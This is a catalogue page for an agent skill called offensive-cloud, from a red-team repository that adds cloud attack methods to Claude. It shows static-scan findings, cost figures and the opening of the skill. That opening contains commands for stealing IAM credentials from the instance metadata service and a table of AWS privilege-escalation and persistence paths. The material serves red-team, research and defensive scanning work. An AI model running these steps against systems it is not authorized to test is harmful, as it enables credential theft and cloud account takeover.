claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-cloudgit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-cloud)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-cloud"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-cloud/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-cloud"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-cloud.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 5 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Server-Side Request Forgery · line 34 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 37 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 138 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high YARA Match · line 162 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Server-Side Request Forgery · line 216 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00238 | $0.03151 |
| Opus 5.5 | $0.00095 | $0.01260 |
| Sonnet 5.5 | $0.00048 | $0.00630 |
| Haiku 4.5 | $0.00024 | $0.00315 |
Grade B, and why
offensive-cloud scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> Copies of this mod
1 near-identical copy found in the catalogue:
- offensive-cloud — 92% identical, 42 lines differ
How it starts
The opening of the file, as written. The whole thing — 347 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
Quick Workflow
- Identify the cloud and the identity context you have (user, role, service account, instance role)
- Enumerate without writes —
aws sts get-caller-identity,az account show,gcloud auth list - Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
- Find the data and the persistence anchors before alarms fire
- Document the kill chain with timestamps, identities, and resources for the report
AWS
Identity Discovery
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
IMDS Credential Theft
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|---|---|
iam:PassRole + lambda:CreateFunction |
Pass any role to Lambda you create | Run code as that role |
iam:PassRole + ec2:RunInstances |
Pass any role to EC2 instance | IMDS → role creds |
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion |
Edit your own policy | Self-elevate |
iam:UpdateAssumeRolePolicy |
On a privileged role | Add yourself as principal |
iam:CreateLoginProfile (on user without one) |
Set console password | Console access |
iam:CreateAccessKey (on another user) |
Mint keys for someone else | Persistent access |
sts:AssumeRole with sts:TagSession to ABAC role |
If role trusts session tags | Tag-based escalation |
cloudformation:CreateStack + permissive role |
Run any service action | Indirect arbitrary perms |
glue:UpdateDevEndpoint |
Inject SSH key into Glue endpoint | Code exec as Glue role |
ssm:SendCommand to any instance |
RCE on instances + their roles | Lateral + escalation |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 347 lines · 238 tokens per session scan B 5dd13c1cac58
offensive-cloud is a skill published in the GitHub repository SnailSploit/Claude-Red (7,588 stars, last pushed 5d ago), licensed MIT. It adds 238 tokens to every session and 3,151 once invoked, about $0.0010 per session on Opus 5.5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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